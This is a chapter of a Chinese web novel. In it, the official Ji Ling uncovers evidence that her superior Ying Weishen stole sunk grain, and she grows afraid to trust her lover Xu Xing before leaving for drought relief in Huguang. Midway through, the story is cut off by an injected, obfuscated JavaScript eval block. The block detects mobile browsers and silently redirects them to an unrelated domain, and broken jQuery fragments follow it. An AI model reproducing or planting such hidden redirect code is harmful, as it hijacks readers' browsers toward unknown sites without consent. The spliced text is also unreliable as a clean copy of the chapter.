74. 情意相合立场相悖
作品:《季大人升官笔记》 季泠还未来得及将湖广粮仓中的空缺补上时,湖广布政使急报入京,湖广大旱。
朝廷必须立刻派人作为先锋,去湖广料理赈灾一事,兼以安抚民心。
与昔日季泠跪求应惟绅不同,此番,她坐在户部衙门内,应惟绅派人来通知她,三日后即刻动身,前往湖广。
季泠站起身,嗫嚅须臾,终于低下头,应下此事。
她别无选择。
几乎所有人都注意到季泠这段时间的变化。
槐花在季春以初茂,践朱夏而乃繁。
季泠的变化,亦是如此。
一个月来,季泠不苟言笑,气性全消,近日所见,更是形神顿惫。
祝扶春听闻了赈灾官员名单,立刻前来找她,却见季泠呆坐在书案前,脸色苍白,几欲失魂。
“执庸?你怎么了?”
季泠抬头看向他,牵强笑笑:“没事,累了而已。”
祝扶春拉过一张杌子坐到她身边:“你近日状态不佳,是不是出什么事了?此次赈灾,你只身前去……”
“我近日状态不佳吗?”
“何止不佳,你看看你,从早到晚地坐在公案前,既不站起身活动一二,膳时也不进食,你要成仙吗?”
季泠被他逗笑了:“你不是不知道,闫有德一走,给我留了这么大一个烂摊子,实在难以收拾。也罢,去一趟湖广也好,权当散心了。”
祝扶春不得不出言提醒她:“赈灾与你去西北不一样,不是那么轻松的。你知道,水旱灾害,会出现什么情况吗?”
季泠闭眼,点了点头:“你给我的救灾治疏中,都有,我知道。”
“这次所去官员,几乎与你都不相熟,你一个女子,到那样的环境去,我实在担心。”
季泠笑笑,拍拍他的手:“还行,时迁不是也去吗?女子男子的,也无关紧要,只要没人捅破就行。我只是怕……”
“怕什么?”
季泠敛目,眉头耷拉着,低声喃喃:“没什么。”
回到浮云堂,季泠再次翻开这段时日陆续从陕西来的信,密匝匝铺了一地,季泠坐在其中,神色倦怠。
楼饮晴的第一封信,来得实在及时。她们前脚刚想查漕船之故,翌日,楼饮晴就告知她,近日陕西多家大商号的粮仓爆满,聘了许多伙夫去搬运,开出的工钱极其丰厚,她手下的管事都听说了。
突如其来的粮食,还能从何而来,她一想便知。
闫有德背后的人,户部高官,陕西,她当即就想到一个她此生绝不可能怀疑的人。
应惟绅。
徐行说过,她生辰前后,正是陕西石榴丰收的季节,每年,应少爷都会给徐行送很多陕西石榴。
她说她从未吃过石榴,徐行说,等八月应家祖家送来石榴,他便替她留下一筐,为她庆生。
借着商贸交集,楼饮晴替她继续探访,已然查明,那几家大商号,与应家沾亲带故,脱不了干系。
根据楼饮晴的估计,所得出粮食数目,正是所沉漕粮之数。
于此同时,一批陈粮被贱卖到南直隶各处不起眼的食肆饭馆中。
如此一来,桩桩件件,便已然清晰。
这一个月来,林微寸步不离地守着季泠,看着她从最初的崩溃无措,逐渐到如今水落石出、无可辩驳的绝望。
“林微。”季泠瘫坐在地上,悲哀长叹,“我实在是太蠢了。前脚刚被闫有德算计,后脚又自己傻乎乎送上门去,将自己暴露在应惟绅面前。”
“执庸,未必就是应大人,如今不过是我们的猜测,没有确凿证据……”
季泠的指尖掠过满地信纸,沙沙作响,她几乎陷入这片残叶覆盖的泥沼之中。
“确凿证据?我们还能得到吗?兴许,我没将那份呈详送到应惟绅面前之前,我们还有机会。可是现在,就算有证据,怕早已被清理干净了。”
这件事情越拖越久,朝中的争议将要平息,待到她从湖广赈灾回来,估计此事就完全沉寂,那她再想揭案,难如登天。
“难怪应惟绅不许我插手,还借此机会将我派去湖广。我总是一次又一次,轻信他人。迟早有一天,我死在自己手里。”
“我们请公主介入此事,应惟绅的势力,难道会比公主更大吗?”
季泠无力摇头:“若此事只在陕西,便也罢了。公主曾在南直隶理政多年,此事牵扯到南直隶,若是公主贸然插手,必然引起陛下猜忌。”
“大人。”白芨站在书房外候命。
“何事?进来吧”
季泠与林微将满地信纸收起,白芨道:“徐大人派人说一会儿过来。”
季泠手头一顿,冷下脸说:“叫他别来了。我今日疲乏,先睡下了。”
林微待白芨退出之后,忧心地看着季泠:“执庸,这一个月,你都推脱不见徐大人,他会起疑的。”
季泠怅然伏案,双眼痛极,终于阖上。
“林微。”林微走到她身边,抚上她的脊背,支撑她的彷徨。
“我很想信他,可是,太难了。我没想到,有朝一日,我竟然走到如此地步。连推脱的权利都没有,连在浮云堂里,我都要逢场作戏。”
她感受到眼睛渐渐湿润起来,终于可以睁开眼,再去接收世界的黑暗了。
季泠坐直身体,看向身侧的林微,一把抱住她。
“你懂吗?林微。我曾经觉得,哪怕我有几分利用的价值,即使他位高权重,徐行也断不会真的一丝真情也无的,一定会留有几分余地,为了我。可真走到现在,甚至,还未踏出一步,我便已经怕得不行了。”
林微看着她渐渐变红的眼眶,渐渐痛苦的神情,渐渐哽咽的嗓音,摸着她的头,轻声说:“我懂。”
她怎么会不懂呢。齐家,学社,公主府,朝堂……真要论起来,参与她人生中的低谷与辉煌,又有谁,能胜她一筹呢?
“林微。我现在,唯一能托付全部信任的,仅你一人了。”林微眸光微动,低头看向埋在她怀中的季泠,从来挡在她身前勇敢无畏的季泠,第一次,如此脆弱地索求她的温暖。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446336|185112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
是啊,她都快忘记了,她与季泠两人,她才是年长的姐姐。
翌日入夜时分,季泠在值房中四处转着。
兴许她这次去湖广后,回来就不在这处办公了。
才享受了一个多月,她就如此时运不济地落入他人陷阱之中,甚至还沾沾自喜,实在蠢钝如猪。
青帷马车停在浮云堂外,季泠脚步虚浮,走入书房,瘫坐在椅子上。看见林微走进时的表情,她便已经明白了。
“徐大人派人来了是吗?”
林微点头:“半个时辰后。”
季泠一笑,无比苦涩。“我怎么这么失败啊,仕途和感情全都一团糟。”
“你要不要试一试,将这件事告诉徐大人呢?他兴许并不知情。当日湖广账目有异,不就是他提醒你的吗?”
“我也想,我也想出了事,第一个想到的就是他,就可以向他求助。若是,我只是个普通的姑娘,或是,他是一个普通的少爷,就好了。”
他们这样的人,信任才是最难的。无条件的信任,更是天方夜谭。她是季执庸,有自己的身份要守护,有自己的利益要考量,自然,徐行也是。
他们两个人绝不可能为彼此而放弃退让,这是他们的责任与宿命。
“目前来看,他确实不知道。可我赌不起,若是他知道了,你觉得,他会选择谁?”
选她,还是选应大人?以感情来看,兴许选她吧。
但,她赌不起。
“执庸…”
“你看,你也迟疑了。若是,我们真的是敌人,那么,今日守在外院的那些侍卫,兴许明日,就要成为我们的刽子手了。”她还是轻率了啊,自己喜滋滋地请了一架悬颈铡刀回来,焉能想到如今会是这样的局面。
“那你打算,怎么办?”
季泠却沉默了。
林微第一次看到,她六神无主的模样。往常,遇到再大的难题,再险的局势,她也只会挠头大叫几声,复又暗自鼓舞自己,再埋头想法子解决。
可如今,她是真的不敢想,不敢做了。
季泠深深闭眼,往后仰头,后颈别在官帽椅的木栏边,硌得她生疼。
她又想到,之前徐行站在她身后,轻轻捏着她的脸,她一睁眼,就看见徐行倒着的脸,尽是外人不可窥见的温柔笑颜。这样的好日子,她才享受了三个月。
她以为还有很久很久,所以过去她都没有好好珍惜。
可她不是没见过徐行冷脸的样子。
那年,在刑部大牢中,若是徐行给的判决没法让钱莘满意,若是她后来没有借那把火侥幸逃脱,她丝毫不怀疑,徐行会要了她的命。
他的威胁,不必言语,她只看到他的眼神,他的嘴角,就已经心中有数了。徐行在大事上,十分果决,毫不手软。对她,一定也是。
可她必须查下去。为了她的迢迢前路,为了她的芸芸众生。此次去湖广,她不仅要赈灾,她更要将此事查个水落石出。只有这样,她才能保住自己。
她已经被逼进死路了。